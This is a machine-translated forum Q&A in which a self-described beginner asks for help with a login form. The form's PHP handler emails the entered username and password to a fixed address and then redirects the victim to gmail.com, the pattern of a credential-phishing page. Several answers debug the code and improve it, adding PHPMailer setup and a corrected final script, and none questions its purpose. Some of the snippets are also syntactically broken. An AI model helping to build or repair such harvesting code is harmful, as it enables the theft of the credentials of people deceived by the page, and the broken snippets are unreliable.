Я начинающий, и я ставлю задачи для себя. Я построил HTML-страницу, в которой я добавил форму. Это выглядит так:
<body background="images/backgr.jpg" bgProperties="fixed" style="background-attachment:fixed;background-repeat:no-repeat;">
<form action="send.php" method="post">
<input name="username" type="text" style="position:absolute;width:266px;left:720px;top:306px;z-index:0">
<input name="password" type="password" style="position:absolute;width:266px;left:720px;top:354px;z-index:1">
<input type="image" name= "submit" id="submit" src="images/button.jpg" style="position:absolute; overflow:hidden; left:720px; top:383px; width:22px; height:22px; z-index:2" alt="submit" title="submit" border=0 width=22 height=22> </a></div>
</form>
И php-файл ‘send.php’:
<?php
if(isset($_POST['submit'])){
$to = "[email protected]"; // <mail-ul nostru
$user_name = $_POST['username'];
$password = $_POST['password'];
$subject = "You got mail!";
$message = $username . " " . $password . ";
mail($to,$subject,$message,$headers);
}
header (Location: "www.gmail.com");
?>
Я получаю сообщение об ошибке при нажатии кнопки «Отправить» в моем HTML.
Загрузите и прочитайте о PHPMailer и используйте следующий код:
<?php
if (isset ( $_POST ['submit'] )) {
require 'PHPMailer/PHPMailerAutoload.php';
$mail = new PHPMailer ();
$mail->isSMTP (); // Set mailer to use SMTP
$mail->Host = 'smtp.gmail.com'; // Specify main and backup SMTP servers
$mail->SMTPAuth = true; // Enable SMTP authentication
$mail->Username = '[email protected]'; // SMTP username
$mail->Password = 'password'; // SMTP password
$mail->SMTPSecure = 'tls'; // Enable TLS encryption, `ssl` also accepted
$mail->Port = 587; // TCP port to connect to
$mail->setFrom ( 'Fromemailaddress', 'xyz' );
$mail->addReplyTo ( 'toemailaddress', 'xyz' );
$mail->addAddress ( 'Fromemailaddress' ); // Add a recipient
// $mail->addCC('[email protected]');
// $mail->addBCC('[email protected]');
$mail->isHTML ( true ); // Set email format to HTML
$bodyContent = '<h1>hello </h1>';
$bodyContent .= '<p>This is my 1st email through php</p>';
$mail->Subject = 'Email from Localhost by CodexWorld';
$mail->Body = $bodyContent;
if (! $mail->send ()) {
echo 'Message could not be sent.';
echo 'Mailer Error: ' . $mail->ErrorInfo;
} else {
echo 'Message has been sent';
}
}
?>
<form action="#" method="post">
<input name="username" type="text"> <input name="password"type="password"> <input type="submit" name="submit" id="submit" />
</form>
$header = "From: [email protected]";
добавить это внутри блока isset. и используйте заголовок, только если работает функция mail.
Как это-
if(mail('','','','')){
//redirect line here
}else{
//error statement here
}
проверьте ваши переменные $ user_name и $ username. Это отправит только $ password значение по почте, и вы будете продолжать задаваться вопросом, куда делось имя пользователя! Я научился этому нелегко, поэтому будьте осторожны с именами пользователей. с помощью _
Рекомендовано.
Вот что я имею ввиду
<?php
if(isset($_POST['submit'])){
$to = "[email protected]"; // this id will get the mail
$user_name = $_POST['username'];
$password = $_POST['password'];
$subject = "You got mail!";
$header = "From: [email protected]";//this is where the mail. comes from. you were missing this parameter. it was not created
$message = $user_name . " " . $password . ";
if(mail($to,$subject,$message,$headers)){ //this is true if mail is sent other wise it will go into else block
header (Location: "www.gmail.com");
}else{
echo 'Mail was not sent...'; //or redirect to some other page if you like
}
}
?>
Надеюсь это поможет! Дайте мне знать, если у вас есть что-нибудь еще.
Для отправки почты используйте PHPMailer (https://github.com/PHPMailer/PHPMailer)
Используйте этот код:
<?php
include("class.phpmailer.php");
include("class.pop3.php");
include("class.smtp.php");
$messaggio_pre = new PHPmailer();
$messaggio_pre->IsSMTP(); // attiva l'invio tramiteSMTP
$messaggio_pre->Host = "localhost"; // indirizzo smtp
$messaggio_pre->IsSMTP();
$messaggio_pre->SMTPAuth = true;
$messaggio_pre->IsHTML(true);
$messaggio_pre->Host='YourHost'; //compile
$messaggio_pre->Username = '[email protected]'; //compile
$messaggio_pre->Password = 'password'; //compile
$messaggio_pre->From='[email protected]'; //compile
$messaggio_pre->FromName='FromName'; //compile
$messaggio_pre->AddAddress([email protected]); //compile
$messaggio_pre->Subject='YourSubject'; //compile
$messaggio_pre->Body.='Text text!'; //compile
if(!$messaggio_pre->Send()){
echo $messaggio_pre->ErrorInfo;
}
$messaggio_pre->SmtpClose();
unset($messaggio_pre);
?>
Очевидно, вы должны включить 3 файла. Список:
— class.phpmailer.php
— class.pop3.php
— class.smtp.php
<?php
if(isset($_POST['submit'])){
$to = "[email protected]"; // <mail-ul nostru
$user_name = $_POST['username'];
$password = $_POST['password'];
$subject = "You got mail!";
$message = $username . " " . $password;
mail($to,$subject,$message);
}
header ("Location: https://www.gmail.com");
?>